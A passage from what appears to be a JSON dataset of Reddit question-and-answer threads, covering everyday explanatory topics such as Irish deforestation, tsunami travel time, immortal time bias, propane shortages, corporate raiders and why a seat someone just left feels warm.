yes the British did have a slight hand in it, I would say it's mostly just down to development. It's a small enough island and it's only natural that most land would be deforested due to housing, towns etc. Also way back when, the Irish primary industry was massive and a lot of the land was/is used as farmland. That's why the Irish famine was as bad as it was, people lived off of the food they could produce on their farmland and the blight starved them. To answer the question though, yes there is plenty of forests but there isn't more because it's a small island and all of the land is owned and already being used as farmland for crops/animals (the flat greenery you see). ", "We hardly have any natural forest left, there are a few heritage forests with natural wood. Coillte is a forestry company here and they've planted tons of conifer forests which are not natural here, and they grow them and then tear em down again for wood.", "Ok, I see a lot of good solid information here but also some spurious guesses. I have lived in Ireland pretty much all my life and from my studies I believe there are a couple of factors in the lack of forest cover in Ireland. Hopefully I can explain it well.\n\nIt was thought that before the Ice Age, Ireland was close to 100% covered with forests. After this period a lot of the native trees were [destroyed](_URL_0_). 7000 BC (Mesolithic) we saw the first settlers make there way from England, it is thought these first settlers were originally from the [Iberian peninsula](_URL_1_). These settlers would have been mainly hunters and gatherers but in order to make tools and shelter they would have cut down many trees around their settlements. At this time there still would have been a huge amount of tree cover.\n\nIt wasn't until 3000 BC (Neolithic) when colonists arrived. they were known as Neolithic farmers and since they needed land to thrive, rather than hunting, they had to afforest the area first. This would have been the first wide scale destruction of forests. Still at this time Ireland would have had about 60-70% forest cover.\n\nFollowing several invasions there was a growing population and our systems of Governance changed, none so much so as the Norman invasion of Ireland in 1169 which would continue for 700 years. During this time there was extensive damage done to Irelands ecology due to [plantations](_URL_2_) being taken from the Irish owners and given to English lords, which they in turn would deforest (where needed) in order to gain income from Irish farmers. \n\nEven with all this going on, the sheer number of trees in Ireland was staggering and by 1600 ireland still had a huge amount of tree cover. It was the beginning of the industrial period though that hit Ireland the hardest and with Englands navy dependant on the shipbuilding industry, coupled with [construction of more than 150 ironworks](_URL_3_) (which required a huge amount of timber) meant that by the 1800s almost all forests in Ireland were gone. *edit: Additionally when 'The Land Act' was passed many English tenants were required in some instances to give their land back to the Irish (at a cost), the lords would often cut all forests in the area in order to cash in before they were required to sell the land.\n\nToday Ireland has the second lowest forest cover in Europe (10%) but we have grants available for people wanting to convert their land to forest and projects in order to try and recover. I live in a place called *Eochaill* (English : Youghal) which means 'Yew wood' in Irish. The place was once covered in [yew](_URL_4_), a type of tree associated with being the timber used in making longbows but nowadays there are very little left.", "Before the Vikings invaded and started deforestation, a squirrel was able to go from North to South without touching the ground.\n\nBasically the different people who invaded us felled it all. The Vikings, the Normans, the feckin' Brits, so on so forth", "Englishman here. Gonna go ahead and take the blame before I even bother learning anything about it. I know enough about Irish history to know what I'm going to learn before I do.\n\nI also apologise for the catholic babies I'm sure we used to chop down the trees.\n\nSeriously though.\n\nWe were the worst.", "To add to the other reason, much of the trees were cut down for farming land, this was a poor country and so what most people might see as a waste of time clearing an area Irish farmers would fight for every inch ", "Well basically it has to do with the British coming in and taking all our Oak trees to build their fleets. That is reason there are very few oaks compared to UK.\nAlso Ireland before the famine (also caused by British pretty much) was a very densely populated country, almost double what it is now.\nThere are obviously a lot of other contributing factors and it is not this simplistic but that is the crux of it.\n", "I study geography and History of the Irish Landscape, an we learned that Ireland in 1990 had only 0.1% of it's original forestry remaining. \n\nIt had been cut down for clearing space for residential and infrastructural reasons I believe, and also for its wood I guess.\n\nIn the 90s the government planted 2.4bn trees that are beginning to really show again now.", "At first I thought maybe there was a particular variety of climate in Ireland which favored grassland. However, according to the Koppen climate classification map, Ireland has a \"Cfb\" climate (moist mid-latitude with warm summers) in which you would certainly expect a broadleaf deciduous forest to be dominant. The only places where you would expect to see mostly green grasslands are in the drier mid-latitude \"Cs\" and \"Cw\" climates like the American prairie region, and \"ET\" (tundra) regions. \n\nThat's a long-winded way of saying: Yes, there should be forest, but people cut it down.", "And since we're here, I live in Kentucky. I've heard that Ireland is very similar aesthetically. Has anyone here been to both and can possibly vouch for this? Seems very interesting that two completely different areas with different climates could be so similar. ", "The western side of the island has plenty of forests", "Much like others have said, Ireland has a lot of standing timber. It all depends on where you go, and the best pictures are the landscapes. The north coast, Donegal, the ring of Kerry ( large and small) the coast of Cork, or Galway, The lighthouses, and those things. It's all spectacular, but there's a lot of trees, ya just don't find them in the sheep pastures or the coasts. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.rohanlon.org/downloads/O%27Hanlon%20Forestry%20Source%20June%202012.pdf"], [], [], ["https://www.agriculture.gov.ie/media/migration/contentarchive/forestry/IRISH%20FORESTRY-ABRIEFHISTORY-Oct08.pdf", "http://www.teagasc.ie/forestry/docs/advice/irish_forests_world_beaters_farrelly.pdf"], [], [], [], ["http://www.teagasc.ie/forestry/advice/forestry_history.asp", "http://upload.wikimedia.org/wikipedia/commons/3/3d/Hispania_560_AD.PNG", "http://en.wikipedia.org/wiki/Plantations_of_Ireland", "http://www.agriculture.gov.ie/media/migration/forestry/forestservicegeneralinformation/abouttheforestservice/IrishForestryAbriefhistory200810.pdf", "http://1002.nccdn.net/1_5/38d/38e/0d8/IMG_0750.jpg"], [], [], [], [], [], [], [], [], []]}
{"q_id": "4j444v", "title": "what is the purpose of continuing the republican primary if there are no other candidates?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4j444v/eli5_what_is_the_purpose_of_continuing_the/", "answers": {"a_id": ["d33imby", "d33kt1j", "d33lprp", "d33m0sp"], "score": [11, 3, 3, 3], "text": ["It's just a head start on campaigning for the general election.  The last thing you want to do is *stop* campaigning and have people stop caring about you.\n\nHe probably also has most of his rallies  &  events booked up and paid for already - it would look bad to pull out.  Voters in states he gives up on could take it as an insult  &  be reluctant to vote on him later.\n\nKeeping voters motivated to show up to the polls also makes sure that **every other candidate and issue on the ballot** gets voted for - there's more than just the president on the line.  My primary ballot had a dozen different city, state  &  county positions as well as a few tax issues.", "Because if Trump doesn't, he could technically still lose. He needs Tito get a majority of delegates, regardless. Sure, even if he did nothing, he'd probably still get the delegates, but he has to keep his name on the daily news, too", "There are *hundreds* of other candidates.\n\nPeople running for congress, for senate, for governor, and for dog catcher.\n\nThe primaries are for them as well.", "If Donald Trump doesn't receive at least 1237 delegates, then there will still be a contested convention in which a candidate who has dropped from the race can still become the nominee."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "z50lb", "title": "What \"ancient\" science and mathematical texts are still relevant?", "selftext": "I noticed in a recent post that someone mentioned Newton's Principia, and how important a lot of what it states still is.\n\nSo, that got me thinking, what ancient or at least very old scientific documents are still correct or valuable these days? For example, treatises on phlogiston or luminiferous aether have been relegated to the annals of history, but an ancient Babylonian carving depicting evidence of the Pythagorean theorem is still valuable. \n\nI know this is a much more \"meta\" question than is typical, bordering on a history lesson, but I thought it would be interesting to see what has stood the test of time! ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/z50lb/what_ancient_science_and_mathematical_texts_are/", "answers": {"a_id": ["c61hlne", "c61ixhm", "c61j70h"], "score": [13, 3, 3], "text": ["Usually most old texts take a lot of effort to understand and are not so useful in a day to day context. For example Newton's Principia is correct in many things. But reading it is so difficult that very few physicists have actually read it, instead we read alternative books written in modern times that are much easier to understand today.\n\nThere are a few cases thou where the old texts are valuable. An example I can think of is a supernova observed by Chinese astronomers in 185 AD. We have today been able to go back to the place in the sky where they saw the supernova and with modern telescopes we can take a picture of the remains of the star that exploded. Since we know exactly when it exploded from the Chinese records this allows us to actually do some interesting science.", "The old Greek geometry is still relevant and appears in places all the time, and at least useful for high schoolers starting in mathematical olympiads.:) And of course it's all correct, it's been proven after all. The classic proof that there are infinitely many primes is one of the first proofs that you'd show to a student as introduction to more sophisticated thought.Actually the whole book it's from,  Euclid's \"Elements\" and his attempt of axiomatising the geometry of a plane are a very valuable starting point if you want to go further, to different geometries with different axioms. You wouldn't read the original, in a geometry book there would be a translated snippet from it. ", "Euclid's *Elements* might be one of the earliest which is still relevant, although I think it dropped out of school curricula about a century ago."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "3nhqfm", "title": "If you poured a million cubic meters of water into the ocean, how long would it take for it to change the water level on the opposite side of the planet?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3nhqfm/if_you_poured_a_million_cubic_meters_of_water/", "answers": {"a_id": ["cvpall0"], "score": [3], "text": ["Well, tsunamis are caused by a sudden displacement of a large volume of water, by earthquakes, landslides, volcanos, etc. Adding a large volume of water into the ocean at once would probably generate a tsunami, depending on how fast and how much you dumped, so another part of the ocean would notice the effect based on however fast the tsunami travels. \n\n\nThe speed of a tsunami though is not a simple matter though. Since a tsunami has a very long wavelength relative to the depth, it's velocity is approximately v =  sqrt(gd) like most shallow waves, where g is the gravitational acceleration (~9.81m/s^2 ) and d is the depth. So the velocity is dependent on depth, and to get from one side of the world to the other is entirely dependent on what the locations are, how the wave gets between them, and what the varying depth is all the way between them. The average depth of the Pacific is about 4000 m, so we could say a tsunami caused by this large drop of water would move at about 200 m/s (710 km/h). At the widest which is about half way around the world and in a straight line of open ocean, it is about 19000 km from Indonesia to Columbia. So I would estimate that if this large drop of water happened on one side, the first indication of the change would hit the other side 27 hours later. For the 2011 quite notable earthquake and tsunami that hit Japan, and caused the Fukushima nuclear plant meltdown, I found [this](_URL_0_) really nice map of where and how long after the earthquake the tsunami was detected. I think this would be your best bet for an indication of how long it would take for the effects of your water addition to be felt across the world, at least for the Pacific ocean with the water being dumped near Japan. \n\n\n\nHow big of tsunami would this cause, or is it even enough to cause one? Well, I can't really say. It would depend on how fast you added it, but assuming you just violently dumped it even then I can't say. I looked for a source on how much water is displaced by the average tsunami causing geological event as I am by no means an expert on them, and couldn't find one. One million m^3 of water seems like a lot, but I'm not really sure how that compares to an earthquake displacement, and it's really not that much water compared to the 1.3 billion **k**m^3 in the ocean (0.00000000008 %). That would only raise global water levels by, assuming a didn't screw up as this seems *really* small, 3 *nanometres* (millionth of a millimetre). [Source on volume, area, and depth.](_URL_1_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.livescience.com/images/i/000/075/847/original/Honshu-quake-travel.jpg?1431042243", "http://www.ngdc.noaa.gov/mgg/global/etopo1_ocean_volumes.html"]]}
{"q_id": "31f608", "title": "Where and when were the first apartments built?", "selftext": "I just wonder, when did humans start to build and live in apartments?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/31f608/where_and_when_were_the_first_apartments_built/", "answers": {"a_id": ["cq127mk"], "score": [3], "text": ["The earliest examples I know are the Roman [Insula](_URL_0_).\n\nWhile there might be earlier examples, apartment buildings as we know them need strong courts and laws to exist for speculators to build them, and Rome might be the first to have that. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Insula_%28building%29"]]}
{"q_id": "6ganq4", "title": "what is immortal time bias?", "selftext": "I came across this in some medical texts and I can't seem to figure out what it is or why it's impactful. \n\nEdit: [Here](_URL_0_) is a publication discussing results of a study considering the effects of immortal time bias.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ganq4/eli5_what_is_immortal_time_bias/", "answers": {"a_id": ["dios3aj", "diosx4k", "diot4zn", "dip5w8m"], "score": [2, 5, 2, 5], "text": ["Got some quotes for context?", "This is a kind of statistical error in certain medical studies. The designer of study failed to account for the notion that subjects *must* have lived through this time period, as any that died were removed from the study pool.\n\n_URL_0_", "Immortal time is a concept from epidemiology, I believe.  It refers to a period, after exposure, which death from disease will not occur.  In the setting of a study, it's the space between the exposure, and the earliest possibility of the onset of symptoms.\n\nIt has gained a more widespread use in studies, as the time in which the effect that a study hopes to observe cannot occur.  For example, in a study of educational methods, you can't see a change in grades until you test the students on the new curriculum.\n\nImmortal-time bias would be a distortion of the data in a study, by including 'immortal time' as a part of the results.  It would skew the data, because some of the data is from a period of time where you could not possibly expect results.\n\nEDIT: I am learning about this for the first time myself, so . . . grain of salt.", "The link provided by /u/Concise_Pirate is informative.\n\nImagine a game played by a large group of people where everybody flips a coin repeatedly.  You have to drop out of the game as soon as you flip Tails.\n\nAfter the first flip, everybody who's still in the game eats an orange Tic-Tac (a kind of breath mint in the US that's sort of the same shape as a small pill).  Then everybody flips the coin again, and whoever's still around after both flips is a winner.\n\nSome researchers tally the results and their analysis of the data supports an amazing conclusion:  Via an unknown mechanism, eating an orange Tic-Tac helps you flip Heads!  In fact every single person in this large study, who ate the orange Tic-Tac, flipped Heads at least once in two flips, and 50% of them flipped Heads twice!  Statistics says that the odds of flipping Heads twice in a row is 25% -- but apparently your odds vastly improve if you eat this incredible orange miracle food!\n\nThe \"immortal time bias\" is the error these study authors made.  They didn't properly account for the fact that in order to stay in the game long enough to *get* the orange Tic-Tac, the subjects *had* to have flipped Heads the first time.  From the future looking back, the subjects who eat orange Tic-Tacs seem to be \"immortal\" during the first flip -- incapable of flipping Tails.  So if you don't carefully account for how the fact that you're looking from the future into the past skews who goes into what category, you might be fooled into thinking the orange Tic-Tac makes the players who ate it luckier, even when in reality it had no effect on the coin flips whatsoever.\n"]}, "title_urls": [], "selftext_urls": ["https://www.ncbi.nlm.nih.gov/pubmed/28548282"], "answers_urls": [[], ["https://academic.oup.com/aje/article/167/4/492/233064/Immortal-Time-Bias-in-Pharmacoepidemiology"], [], []]}
{"q_id": "4r2n6x", "title": "why has there been so little innovation in the field of fireworks the last few decades?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4r2n6x/eli5_why_has_there_been_so_little_innovation_in/", "answers": {"a_id": ["d4xshxq"], "score": [7], "text": ["There's only so far you can go with fireworks before they just aren't fireworks any more. I'm not sure what exactly you're expecting them to do...\n\nThat said, there *has* been *incredible* innovation in stuff like launching and coordinating firework displays, as well as some innovation in shapes, types and colours. But, again, it's a small colourful explosion, I'm not sure where you think it could go and still be fireworks. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1w1emr", "title": "what is the process of making propane gas and how is it possible to have a shortage of propane?", "selftext": "Is it all fuels or just certain fuels that are in a higher demand in the winter? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1w1emr/eli5_what_is_the_process_of_making_propane_gas/", "answers": {"a_id": ["cexteuh", "cexur8u"], "score": [6, 2], "text": ["Propane is a byproduct of natural gas production and oil refinement. It is present in oil and gas, but must be separated out. If found in crude oil, it is separated during the refinement process. If it is found in natural gas, then it is separated at the wellhead into what is commonly referred to as \"condensate\". Condensate is made up of several components, including propane, hexane, and butane. The condensate is then refined and the individual components are separated. It's possible to have a shortage of propane just like it's possible to have a shortage of any fuel; when supply and demand are out of sync. In this case, demand spiked because of extremely cold weather, creating a shortage and increasing price. ", "I think what's going on is just a temporary shortage of propane at a delivery hub in Conway, KS.  A shortage at the hub drives up the \"sport price\" at the hub.  (The \"spot price\" is the price that you pay for propane right now, as opposed to the price that you pay now for future delivery of propane).  Many fuel contracts are tied to the spot price at the hub, so a spike in prices at the hub leads to a spike in prices overall.  \n\nNote that the shortage is pretty localized.  At the propane gas hub at Mont Belvieu, Texas, spot propane prices for January delivery reached $1.61 a gallon on Thursday, up 8 cents from the peak trade seen the previous day.  In comparison, the price at Conway was something like $5 a gallon on Thursday.  (And many clever businessmen have showed up at Mont Belvieu to buy propane to ship and sell to Conway).\n\nThe business press has done a fair amount of reporting on why the spot price of propane at Conway has gone up, but it has to do with a mix of at least three things:  more propane than usual was used up in the autumn by farmers who were drying their crops (because it was a wetter than usual autumn and because the harvest was later than usual); more propane than usual is needed now because it's colder than normal; and because it's been colder than normal, some of the pipes that deliver propane to the Conway hub froze or otherwise required maintenance.  \n\nHere's an article that explains in passing why prices have gone up so much at the Conway hub.  _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reuters.com/article/2014/01/23/energy-propane-prices-idUSL2N0KX1FG20140123"]]}
{"q_id": "12a1qz", "title": "Acceleration due to gravity and density of a mass", "selftext": "I am in physics class and we just derived the value of 'g' based on Newton's Law of Universal Gravitation, but I know I've been told that black holes have a large amount of gravity because of their mass and density.  I though that density played a factor in determining 'g' but the formula we derived is g= (mass/distance^2 )*Gravitational Constant  \n\nIs this an incomplete formula or does density not play a role in this?  I guess, because the black holes will have so much mass that it is almost incalculable that density shouldn't matter much, but what if a heavenly body had an equal amount of mass, but it was spread over a far larger area, like a nebula or a star?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/12a1qz/acceleration_due_to_gravity_and_density_of_a_mass/", "answers": {"a_id": ["c6te0vc", "c6te0yh", "c6te6d5", "c6teg5b", "c6tipjf", "c6tscef"], "score": [4, 5, 18, 2, 2, 2], "text": ["Homogeneous spheres can be modelled quite well as point sources. So the density does not really matter.\n\nOf course this does not *really* correspond to reality, but it is correct enough that over large distances it does not play a big role (it always depends what your application is to say how important it is....)", "If the object is a uniform sphere, then you can replace mass with density x volume, and volume with 4/3 pi x distance^3 , so the whole equation is g=4/3 pi x density x radius x G. If the object is not a uniform sphere it gets more complicated.", "It is included, as distance. Think of it this way, imagine that you tried to go closer to the Earth's center. Would g increase? No, because as you travel closer, you go under ground, and more and more of earths mass is now no longer below you, but \"above\" you, so to speak.\n\nNow imagine that we squeeze Earth, decreasing its radius, increasing its density. The more you squeeze it, the greater its density, and consequently, the smaller the distance from its center you are able to be. Eventually, if we reduced the radius of Earth enough, while maintaining its mass, g would be so large that not even light could escape the surface, and we would have a black hole.", "Just to give a name to what Pedipalp said: _URL_0_", "The trip-up I believe is considering the Earth, as a whole, to be a singular entity with its own gravity -- when in truth it is a ton of particles, each with it's own gravitational attraction.\n\n", "Density is what allows a black hole to be a black hole, but in terms of gravitational force it isn't normally a factor. An object feels no greater pull of force from a black hole than from a star of equivalent mass, for example."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Shell_theorem"], [], []]}
{"q_id": "atx49o", "title": "how did corporate raiders boost share prices?", "selftext": "I know corporate raiders were only active in the 80s and they'd generally raise money to take control over a large portion of a company through various methods and then sell off valuable assets and layoff expensive employees to boost profit margins and then sell the shares to other investors at a higher price. The part I don't understand is how the asset stripping increases the \"value\" of the company, isn't it obvious that asset stripping will destroy the company after a few years, rendering the company worthless?\n\n & #x200B;\n\nAnother question: Did/do hostile takeovers and LBOs ever create value? Reading about Carl Icahn and his destruction of TWA makes it pretty annoying that someone who destroyed so many jobs is living so well", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/atx49o/eli5_how_did_corporate_raiders_boost_share_prices/", "answers": {"a_id": ["eh43hfm", "eh4560o", "eh47b1b"], "score": [49, 6, 3], "text": ["Corporate raiders are vultures. That sounds bad, but vultures are an essential part of the food chain. Sunlight is eaten by plants, plants are eaten by animals, animals are eaten by bigger animals, dying animals are scavenged and decomposed by vultures and fungi so they can be used by plants again.\n\nEveryone wants to be the hero. They want to found companies and hire people. They want to grow their companies. Even multi-billion dollar companies that are already serving everyone on Earth want to grow. The problem is that growth is only possible in industries where the supply is less than the demand. Because of the focus on growth, supply eventually exceeds demand, and you have more companies than customers.\n\nCorporate raiders find industries where there are too many companies serving too few customers. They pick the weakest one and destroy it. They fire everyone, and sell the equipment (e.g., planes, factories) to the remaining companies. So their broad value is destroying companies and recycling those goods into other places. This is a good thing. It's wasteful to have two companies doing the work of one. It's better to fire everyone so they can get a more productive job elsewhere (of course, this is a messy process and leads to short term pain). \n\nSo how does it increase company value? If I weigh 200 pounds and lose 50 pounds of fat, I'm healthier than I was at 200 pounds. If I gain 25 pounds of muscle afterwards, I'm much better off. In the same way, corporate raiders sell off or close down the worst performing parts of the company and focus only on the best performing parts. Corporate raiders are decomposers who don't care about the company. If a company is worth $100 million dollars intact and 110 million destroyed, it's better to destroy it, even if the company is dead/worthless afterwards.\n\nSo how does this work? If you buy 100% of the shares of a company, you buy all the debts and assets that the company has. So if you own 100% of a company that owns a Picasso, you now own the painting. Corporate raiders look for circimstances where the value of the goods the company owns is worth more than the price of all the shares of a company.\n\nWhy do they live so well? Everyone in society wants to be the good guy. Executives at companies want the company to grow. Employees want the company to grow. Politicians want companies to grow and be stable. But humans can't live forever. You can't have life without death. And corporate raiders look for the circumstances where they can make a ton of money by killing a company. Everyone hates them as a result, but it's an essential function in the economy.\n\nEdit: I threw in the bit about messy process and short term pain, but let me be more clear. In the long term, firing people is a good thing. A few hundred years ago, almost 100% of humans were farmers. Then tractors, fertilizer, irrigation systems, pesticides, GMOs, etc. were invented. Now 1% of the American population works as a farmer and they can feed the other 99% and export food to other countries. That meant in the short term, millions of people were fired. But in the long term, they got far more useful jobs as engineers, doctors, musicians, writers, etc. Humanity had food before. Now for the same amount of work, it has food and all those other things.\n\nEconomists have developed different ways of dealing with this problem. Some say it's better to rip the band-aid off. Fire people as quickly as possible so they can get new jobs as quickly as possible. This is the most efficient approach in the long term. Others say that the short term pain is too extreme and it's better to slow it down. Who cares about the long term because in the long term we are all dead. Both of these approaches have implications for the boom-bust cycle of the economy.\n\nAs a final point, corporate raiders use a lot of dirty tricks to kill companies, but executives use a lot of dirty tricks to keep companies around longer than they should be. For example, the coal industry has been dying for years, but keeps getting protection from politicians who don't want to see influential voters in swing states lose their jobs. Corporate raiders, on the other hand, actually money killing off dying companies.", "Other answers are better than mine, and it was touched on, but I want to let an important point be known. This practice is not only not gone, it is commonplace. Most attempts are thwarted by majority shareholders, which is why it's been quiet recently. Takeovers take a long time to pull off.", "you look for a company that has low profits, but at the same time very good assets, like valuable patents, lots of company property, profitable subsidiaries or low amounts of debt. then you borrow money and buy a large share of this company. you can also convince other shareholders that your management decisions would be better for them.\n\nonce you have gained control of the company, you split the company in a high value part with all the valuable assetts and a low value part with its core business and most of the employees. now you try to make as much money as you can by selling off these assets or taking out large loans with these assets as securities. then you pay this money out to the shareholders, which includes yourself.\n\nnow the daily business side of the company will have to pay if it wants to use these assets, which it formerly used for free. because of this, the company will start to make losses, which is then the justification for lay-offs and pay cuts. the company will either get profitable again, or it will merge with a competitor, or it will simply go bankrupt. you don't really care about that, because you already got your money from its assets."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "a2snck", "title": "when someone with poor vision hallucinates visually, is their hallucination blurry? whether yes or no, what explains it?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a2snck/eli5_when_someone_with_poor_vision_hallucinates/", "answers": {"a_id": ["eb0xbkl"], "score": [6], "text": ["From my experiences hallucinations are clear compared to your impaired vision. Hallucinations are produced by the brain which doesn\u2019t suffer from imagery issues. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "26mq2z", "title": "why do companies always \"ask\" users to change their passwords after data breaches instead of just automatically resetting every user in the database's?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/26mq2z/eli5_why_do_companies_always_ask_users_to_change/", "answers": {"a_id": ["chsgjww", "chsgqjj", "chskf5t"], "score": [18, 3, 3], "text": ["Because that'd be a support nightmare.", "Because they would have to change every password to something generic and unique per user. Which can be a big undertaking if their are a lot of users making it easier to just send a mass email asking each user to change it them-self.", "More companies going forward will force the password change instead of 'asking' for one because of liability issues.  \n\nIt is a reasonable assumption that a user will re-use passwords and not change passwords as often as is secure.  It is reasonable to assume the perpetrators of a data breach intend to use the data gained to the disadvantage of the customer or the business.\n\nWhile it might be reasonable to assume a customer will get an e-mail from a firm notifying them of an issue and react responsibly by changing their password, by forcing a password change a firm then ensures both that the account will not be used improperly due to the breach AND that the customer is notified as soon as they touch the business's systems.\n\nA forced password change is an extremely easy-to-implement example of post-breach due diligence.  Lawyers will see to it becoming standard practice."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "9pbf76", "title": "how do muscles like your heart and lungs constantly work but have no latic acid buildup?", "selftext": "Thought of this while at the gym the other day. Stuff like your biceps will have tons of latic acid built up after a workout, so how is it possible that your heart and lungs are able to constantly work for your lifespan and not \"get tired\"", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9pbf76/eli5_how_do_muscles_like_your_heart_and_lungs/", "answers": {"a_id": ["e80ezi4", "e80fe43", "e80h02m", "e81u75q"], "score": [12, 9, 3, 3], "text": ["Cardiac muscle receives a very good supply of oxygen so it doesn\u2019t go into anaerobic respiration which is what produces lactic acid.\n\nLungs don\u2019t do work in the way you think.  The diaphragm and smaller accessory muscles are responsible for moving air in and out.  ", "The heart muscles are different than the skeletal muscles. They spend a lot more oxygen, and when muscles spend oxygen they run a lot smoother without building lactic acid. Skeletal muscles rely on anaerobic processes to generate energy, which produces a lot of lactic acid. On top of that the heart muscles are very richly supplied with blood from the coronary arteries, so they can recieve beneficial products faster and at large quantities and give away their waste products more efficently. \n\nThe lungs are not muscles, but a 3rd type of muscle -the smooth muscles- participate in the breathing process. Their work requires a lot less energy and isn't as intensive as in skeletal muscles, so they don't suffer from such severe fatigue.", "LI5? They are special muscles which don't get tired like normal muscles.", "Great answers here in general. Your heart absolutely can get lactic acid built up, but that only (normally) happens when one of the blood vessels bringing oxygen to your heart muscle gets blocked. When that happens, you have angina pain, and if it stays for too long, you get a heart attack (not quite, but good enough for ELI5)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "8e7qu9", "title": "why does it feel so warm when you sit where someone else has been sitting, versus sitting back in your own seat?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/8e7qu9/eli5_why_does_it_feel_so_warm_when_you_sit_where/", "answers": {"a_id": ["dxt2uep", "dxt3u5g", "dxt60rc", "dxtd0kw", "dxtd8kh", "dxtdh74", "dxtfill", "dxtfl02", "dxtg3rn", "dxtg9n4", "dxtj2ep", "dxtjm0l", "dxtkq4d", "dxtksik", "dxtlqcu", "dxtlw17", "dxtmxil", "dxtnjlm", "dxtonl3", "dxtoqm7", "dxtpke8", "dxtronl", "dxtur97"], "score": [20, 4323, 210, 10, 2, 3, 2, 2, 8, 7, 2, 2, 2, 2, 2, 2, 3, 3, 2, 2, 2, 2, 2], "text": ["The thing they were sitting on absorbed heat energy from their body.  When you sat on it that heat energy started to transfer to your body through conduction.  \n\nYour chair is probably close to room temperature so there might be a 15-20 degree (F) difference in temperature depending on the chair\u2019s material and how long they were sitting there.\n\n", "It feels warm to sit where anyone else was sitting, including where you were sitting, if your butt is colder than the seat.\n\nBut if you were just sitting there, then your butt is the same temperature as the seat, so it won't feel warm.  However, if you were standing, your butt gets a bit colder because you're not sitting, which causes the spot where someone else was sitting to feel warmer.\n\nThere's a third option that makes it all become clear.  Be sitting for a while, and when someone gets up, go sit in their seat.  It won't feel very warm, because your butt is already warm from sitting.", "It\u2019s because the seat is warmer than you. We cannot detect temperature absolutely. What we feel when something is warm or cool is the energy transfer taking place. A property of thermodynamics is equilibrium, which is essentially the system balancing out.\n\nImagine it like this:\n\nYour hand is warmer than ice, so your hand contains more thermal energy than the ice. However, energy likes to be even, or at equilibrium. Since your hand isn\u2019t even with the ice, energy from your hand flows into the ice when you touch it. This energy loss from your hand is detected as cold. Inversely, if your hand touched a stove, energy from the stove would flow into your hand, which is detected as hot.\n\nWhen you sit in someone else\u2019s chair, their body temperature is going to be slightly different than yours. If the chair feels warm, it\u2019s because it\u2019s warmer than your body. When you sit back down in your own chair, it\u2019s the same temperature as you because it\u2019s been at equilibrium with your body temperature.\n\nEDIT: Changed \"objectively\" to \"absolutely\" to better reflect how thermoreceptors function.\n", "If you sit where something else was it's either warmer or cooler than you. Cooler tends to only go to down to room temperature unless really cold, so you don't tend to feel any different from if there was nothing there. Warmer, you'll almost definitely feel, so it sticks out in your mind. \n\nYou are you-temperature, and your body is so used to feeling you-temperature that things that are you-temperature get completely ignored. Like how your house doesn't usually smell like anything to you because you're used to it, but you can pick up on the normal smell of other people's houses. ", "There are three temperatures here. Let's call them cold medium and hot.\n\nYour cold ass sits in a cold seat. Ass is not losing heat to air anymore. Now it's hot ass. Chair becomes medium thanks to hot ass. When you stand up, hot ass cools a bit. Maybe to medium. Medium ass back to medium chair (mind you the chair has been getting cooled too, so it's no difference actually), no abnormal temperature sensation. \n\nSitting into another chair is simple enough. Your cold ass touches a medium seat. You feel that that seat is warm. ", "Naturally conducting heat is the transfer of thermal energy from a hotter place to a colder place through contact.\n\nWhen you sit down in someone else's seat, your butt is colder than the seat. So the heat (or transfer of thermal energy) is from the seat to your butt.\n\nWhen you sit back in your own seat, your butt is the same temperature. No temperature difference, no transfer of thermal energy.\n\nWhen you sit in a new seat, your butt is hotter than the seat. Thermal energy transfers from your butt to the seat. The heat is from your butt to the seat.", "Was the seat wet?  Was it not your wet?", "Your skin feels DIFFERENCES in temperature. Once your bum has heated a seat to your body temp and you sit back onto the chair, you won't notice the temperature of the chair because it is not different from your body temperature. When you sit onto a chair that is preheated to somebody else's body temp, unless it is the same as your own, you will notice the chair's different temperature.", "Your butt gets warmer when you're sitting than when you're standing, so does the chair you're sitting on. If you're stood up and sit in someone's chair right after they get up, their butt and chair will have gotten warmer than yours. If you stand up from your own seat and then sit back down a little while later, both your butt the chair have had the same amount of time to cool off, so it doesn't feel warm. I imagine if you and a person were both sitting and you immediately swapped in to their chair as they got up, the difference would be much smaller and just down to differences between people, however this doesn't happen often enough to notice.", "This really didnt need to be asked lol. You ok op? ", "We don't all have the same butt temperature or even body temperature for that matter. We actually have  very good ability to distinguish change in temperature (+-0.1'C) and it is very common that two individuals can have different base body temperature. not to mention different butt compositions.\n\nConsider this: When was the last time you had 